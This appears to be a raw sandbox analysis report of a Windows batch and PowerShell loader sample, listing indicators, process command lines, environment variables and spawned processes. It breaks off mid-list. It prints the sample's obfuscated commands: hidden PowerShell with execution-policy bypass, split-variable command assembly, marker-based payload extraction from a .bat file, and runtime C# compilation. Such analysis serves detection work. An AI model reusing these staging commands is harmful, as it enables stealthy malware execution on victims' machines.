"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff94d420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff94c370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff94c130000 "powershell.exe" loaded module "ADVAPI32" at base 7ff982990000 "powershell.exe" loaded module "OLEAUT32" at base 7ff9823d0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1ac7fae0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1f0529a00003e:T1050,file/memory contains long string with (Indicator: "New-Object"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "Test-Path"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "Join-Path"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "Join-Path"; File: "svc_2842731493_26626.ps1") file/memory contains long string with (Indicator: "Test-Path"; File: "svc_2842731493_26626.ps1") file/memory contains long string with (Indicator: "New-Object"; File: "svc_2842731493_26626.ps1") Found string "set "aNQNCLi=$i=New-Object System.Diagnostics.ProcessStartInfo('!l89zvXr!',$a)"" (Indicator: "New-Object"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "if(-not $lvvuohi -or -not (Test-Path $lvvuohi)){throw "ERR-1"}" (Indicator: "Test-Path"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvy9yn22ug=(Join-Path $env:SystemRoot 'System32\cmd.exe')" (Indicator: "Join-Path"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "if(-not (Test-Path $lvy9yn22ug)){$lvy9yn22ug="cmd.exe"}" (Indicator: "Test-Path"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvkzfh=New-Object $lvf2mo($lvy9yn22ug,"/c ""$lvyjjy9e"" __hidden")" (Indicator: "New-Object"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "New-Object"; File: "powershell.exe") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp")3f:Tf57,Observed system executable string:"System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3).WindowStyle=[System.Diagnostics.ProcessWindowStyle]::[System.Diagnostics.Process]::Start(System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3))|Out-Null;" [Source: 00000000-00007840] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003128-00000BC0-1406489487] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00007840-00000BC0-1413426209] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3" [Source: 00000000-00007840-00000C46-16234892566] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00003704-00000C46-2466006870] Observed system executable string:"%WINDIR%\system32\cmd.exe /c find /c /v "" < "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" [Source: 00000000-00003704-00000C46-2466006870] Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5" [Source: 00000000-00003704-00000C46-4673685610], Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da" [Source: 00000000-00003704-00000C46-6575474208] Observed system executable string:"%WINDIR%\System32\find.exe" [Source: 00000000-00005444-00000BC0-1415594628] Observed system executable string:"%WINDIR%\system32\find.exe" [Source: 00000000-00005444-00000C46-1443220898] Observed system executable string:"%WINDIR%\system32\findstr.exe" [Source: 00000000-00007156-00000C46-1347115208] Observed system executable string:"%WINDIR%\System32\findstr.exe" [Source: 00000000-00007156-00000BC0-1416279048] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c "%TEMP%\qrictpazfj4.bat" __hidden" [Source: 00000000-00008432-00000C46-34230529684] Observed system executable string:"%WINDIR%\system32\cmd.exe /c find /c /v "" < "%TEMP%\qrictpazfj4.bat"" [Source: 00000000-00006932-00000C46-2469943482] Observed system executable string:"%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" [Source: 00000000-00006932-00000C46-5006876198] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\Users\HAPU" [Source: 00000000-00006932-00000C46-6863032590], Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\" [Source: 00000000-00006932-00000C46-178053144102], Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" [Source: 00000000-00007736-00000BC0-1519078881], Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" [Source: 00000000-00007736-00000BC0-1521111284], Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\1hgx3gv4\1hgx" [Source: 00000000-00007736-00000C46-14128528346], Observed system executable string:"powershell -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' 3a255e53d3';$i=New-Object System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe' $a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"" [Source: powershell.exe]40:T2a34,Process "powershell.exe" (UID: 00000000-00007840) was launched with new environment variables: "aNQNCLi="$i=New-Object System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',$a)", UEOOT9MC="C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat", oZnvLGp="\cmd.exe", aKYnA6g7="$q=[char]34", xs1opVy="tem32", aZSVpxU="3a255", USERDNSDOMAIN="DESKTOP-FVVF82A", lNY1rga3="$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden", cGrmVeYP="power", l89zvXr="%WINDIR%\System32\cmd.exe", gPoBC="e53d3", pC49eh="3a255e53d3", r6kvN="[System.Diagnostics.Process]::Start($i)|Out-Null", p3MYq="Sys", uAM3sW="shell", t19yA8Pe="$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' 3a255e53d3'"" Process "powershell.exe" (UID: 00000000-00007840) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00007840) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00003704) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass"" Process "cmd.exe" (UID: 00000000-00005444) was launched with new environment variables: "iS3x="0", hwineDE="26626", ivMW="31493", dgCV8F="%TEMP%\svc_2842731493_26626.ps1", gx1Oqpb="28427"" Process "cmd.exe" (UID: 00000000-00007156) was launched with new environment variables: "xAqL6="0"" Process "cmd.exe" (UID: 00000000-00007156) was launched with modified environment variables: "iS3x" Process "cmd.exe" (UID: 00000000-00006516) was launched with new environment variables: "sANDGPuv="0"" Process "cmd.exe" (UID: 00000000-00006516) was launched with modified environment variables: "xAqL6" Process "powershell.exe" (UID: 00000000-00008244) was launched with new environment variables: "hz3r="41", wGTf2iq="15426", YK61EA5="15384", vQMBpyT="15384"" Process "powershell.exe" (UID: 00000000-00008244) was launched with modified environment variables: "sANDGPuv" Process "cmd.exe" (UID: 00000000-00008460) was launched with new environment variables: "VolatileScriptPath="%TEMP%\volatile_module_292891825624175.ps1", PSEnginePath="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", ScriptLineCountTotal="0", EntropySeedB="18256", EntropySeedC="24175", EntropySeedA="29289"" Process "cmd.exe" (UID: 00000000-00006156) was launched with new environment variables: "PayloadMarkerLineNum="0"" Process "cmd.exe" (UID: 00000000-00006156) was launched with modified environment variables: "ScriptLineCountTotal" Process "powershell.exe" (UID: 00000000-00007712) was launched with new environment variables: "PayloadLinesToRead="283"" Process "powershell.exe" (UID: 00000000-00007712) was launched with modified environment variables: "PayloadMarkerLineNum" Process "csc.exe" (UID: 00000000-00007764) was launched with new environment variables: "wgtf2iq="15426", sandgpuv="89", computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", tmp="%LOCALAPPDATA%\Temp", hwinede="26626", sslkeylogfile="%TEMP%\sslkey.txt", userprofile="C:\Users\%OSUSER%", l89zvxr="%WINDIR%\System32\cmd.exe", programfiles="C:\Program Files", processor_level="6", entropyseedb="18256", entropyseedc="24175", t19ya8pe="$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' 3a255e53d3'", userdomain_roamingprofile="DESKTOP-FVVF82A", xaql6="47", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", logonserver="%HOSTNAME%", entropyseeda="29289", nvm_symlink="%PROGRAMFILES%\nodejs", cgrmveyp="power", azsvpxu="3a255", programdata="C:\ProgramData", ueoot9mc="C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat", payloadlinestoread="283", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", is3x="15473", systemdrive="C:", gpobc="e53d3", programw6432="C:\Program Files", anqncli="$i=New-Object System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',$a)", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", lny1rga3="$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden", psexecutionpolicypreference="Bypass", homepath="\Users\%OSUSER%", sessionname="Console", dgcv8f="%TEMP%\svc_2842731493_26626.ps1", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", ivmw="31493", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", number_of_processors="8", userdnsdomain="DESKTOP-FVVF82A", payloadmarkerlinenum="72", r6kvn="[System.Diagnostics.Process]::Start($i)|Out-Null", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", oznvlgp="\cmd.exe", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", yk61ea5="15384", volatilescriptpath="%TEMP%\volatile_module_292891825624175.ps1", vqmbpyt="15384", scriptlinecounttotal="355", p3myq="Sys", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", akyna6g7="$q=[char]34", uam3sw="shell", pc49eh="3a255e53d3", xs1opvy="tem32", gx1oqpb="28427", psenginepath="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", prompt="$P$G", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00007764) was launched with missing environment variables: "NVM_SYMLINK, SSLKEYLOGFILE, aNQNCLi, SESSIONNAME, ALLUSERSPROFILE, UEOOT9MC, VolatileScriptPath, oZnvLGp, SystemDrive, aKYnA6g7, xs1opVy, USERNAME, aZSVpxU, ProgramFiles(x86), iS3x, hwineDE, PATHEXT, lNY1rga3, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, sANDGPuv, PROMPT, l89zvXr, vQMBpyT, OneDrive, APPDATA, gPoBC, EntropySeedB, EntropySeedC, Path, EntropySeedA, COMPUTERNAME, t19yA8Pe, ComSpec, HOMEDRIVE, NUMBER_OF_PROCESSORS, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, xAqL6, PROCESSOR_ARCHITECTURE, PSModulePath, PayloadMarkerLineNum, USERDNSDOMAIN, CURL_CA_BUNDLE, PSEnginePath, wGTf2iq, ivMW, dgCV8F, ProgramData, ProgramW6432, PayloadLinesToRead, ScriptLineCountTotal, cGrmVeYP, YK61EA5, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, pC49eh, r6kvN, CommonProgramFiles, p3MYq, OS, uAM3sW, gx1Oqpb, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, PSExecutionPolicyPreference, SystemRoot, TEMP, USERPROFILE, TMP, CommonProgramFiles(x86)" Process "MSBuild.exe" (UID: 00000000-00007600) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", SSLKEYLOGFILE="%TEMP%\sslkey.txt", aNQNCLi="$i=New-Object System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',$a)", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", UEOOT9MC="C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat", VolatileScriptPath="%TEMP%\volatile_module_292891825624175.ps1", oZnvLGp="\cmd.exe", SystemDrive="C:", aKYnA6g7="$q=[char]34", xs1opVy="tem32", USERNAME="%OSUSER%", aZSVpxU="3a255", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", iS3x="15473", hwineDE="26626", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", lNY1rga3="$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", sANDGPuv="89", PROMPT="$P$G", l89zvXr="%WINDIR%\System32\cmd.exe", vQMBpyT="15384", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", gPoBC="e53d3", EntropySeedB="18256", EntropySeedC="24175", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", EntropySeedA="29289", COMPUTERNAME="DESKTOP-FVVF82A", t19yA8Pe="$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' 3a255e53d3'", ComSpec="%WINDIR%\system32\cmd.exe", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="8", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", xAqL6="47", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", PayloadMarkerLineNum="72", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PSEnginePath="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", wGTf2iq="15426", ivMW="31493", dgCV8F="%TEMP%\svc_2842731493_26626.ps1", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", PayloadLinesToRead="283", ScriptLineCountTotal="355", cGrmVeYP="power", YK61EA5="15384", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", pC49eh="3a255e53d3", r6kvN="[System.Diagnostics.Process]::Start($i)|Out-Null", CommonProgramFiles="%PROGRAMFILES%\Common Files", p3MYq="Sys", OS="Windows_NT", uAM3sW="shell", gx1Oqpb="28427", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", PSExecutionPolicyPreference="Bypass", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files"" Process "MSBuild.exe" (UID: 00000000-00007600) was launched with missing environment variables: "wgtf2iq, sandgpuv, computername, pathext, path, comspec, tmp, hwinede, sslkeylogfile, userprofile, l89zvxr, programfiles, processor_level, entropyseedb, entropyseedc, t19ya8pe, userdomain_roamingprofile, xaql6, commonprogramfiles(x86), processor_architecture, logonserver, entropyseeda, nvm_symlink, cgrmveyp, azsvpxu, programdata, ueoot9mc, payloadlinestoread, nvm_home, programfiles(x86), psmodulepath, onedrive, is3x, systemdrive, gpobc, programw6432, anqncli, commonprogramfiles, homedrive, lny1rga3, psexecutionpolicypreference, homepath, sessionname, dgcv8f, processor_revision, localappdata, ivmw, curl_ca_bundle, number_of_processors, userdnsdomain, payloadmarkerlinenum, r6kvn, processor_identifier, oznvlgp, systemroot, userdomain, commonprogramw6432, allusersprofile, public, yk61ea5, volatilescriptpath, vqmbpyt, scriptlinecounttotal, p3myq, temp, os, akyna6g7, uam3sw, pc49eh, xs1opvy, gx1oqpb, psenginepath, prompt, _clrrestrictsecattributes, appdata, username"41:T13d8,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\1hgx3gv4\1hgx3gv4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\1hgx3gv4\1hgx3gv4.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: 1hgx3gv4.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\1hgx3gv4\1hgx3gv4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\1hgx3gv4\1hgx3gv4.0.cs"" [Source: 1hgx3gv4.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007840-00000C2D-882704804] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007840-00000C2A-1407536719] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007840-00000C2A-1407635559] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007840-00000C2A-1407727566] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007840-00000C2A-1407873183] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007840-00000C2A-1407923522] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007840-00000C2A-1407976725] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007840-00000C2A-1408030782] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007840-00000C2A-1408102090] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007840-00000C2A-1408144511] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007840-00000C2A-1408257197] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007840-00000C2A-1408497410] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007840-00000C2A-1408612849] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007840-00000C2A-1408822868] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007840-00000C2A-1408896243] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007840-00000C2A-1409276731] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007840-00000C2A-1409359796] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007840-00000C2A-1409382894] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007840-00000C2A-1409437062] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007840-00000C2A-1409471534] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007840-00000C2A-1409969380] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00007840-00000C2A-1409971106] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007840-00000C2A-1410220489]42:Tc34,Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Exec ..." (UID: 00000000-00007840, Additional Context: "System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3).WindowStyle=[System.Diagnostics.ProcessWindowStyle]::[System.Diagnostics.Process]::Start(System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3))|Out-Null;"), Spawned process "cmd.exe" with commandline "/c ""C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8 ..." (UID: 00000000-00003704), Spawned process "cmd.exe" with commandline "/c find /c /v "" < "C:\\e25aadf33d28b4ca41c1df2dcded13d358949192 ..." (UID: 00000000-00005444) Spawned process "find.exe" with commandline "find /c /v """ (UID: 00000000-00006644) Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dc ..." (UID: 00000000-00007156), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dcde ..." (UID: 00000000-00007844) Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2d ..." (UID: 00000000-00006516), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2dcd ..." (UID: 00000000-00004480) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Con ..." (UID: 00000000-00008244), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypa ..." (UID: 00000000-00008432), Spawned process "cmd.exe" with commandline "/c "%TEMP%\\qrictpazfj4.bat" __hidden" (UID: 00000000-00006932), Spawned process "cmd.exe" with commandline "/c find /c /v "" < "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00008460), Spawned process "find.exe" with commandline "find /c /v """ (UID: 00000000-00008532), Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00006156), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00004776), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%TEMP% ..." (UID: 00000000-00007712) Spawned process "powershell.exe" with commandline "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%T ..." (UID: 00000000-00007736), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\1hgx3gv4\\1hgx3gv4.cmdline"" (UID: 00000000-00007764), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES64FA.tmp" "%TEM ..." (UID: 00000000-00004072) Spawned process "MSBuild.exe" (UID: 00000000-00007600) Spawned process "chrome.exe" (UID: 00000000-00000696) Spawned process "msedge.exe" (UID: 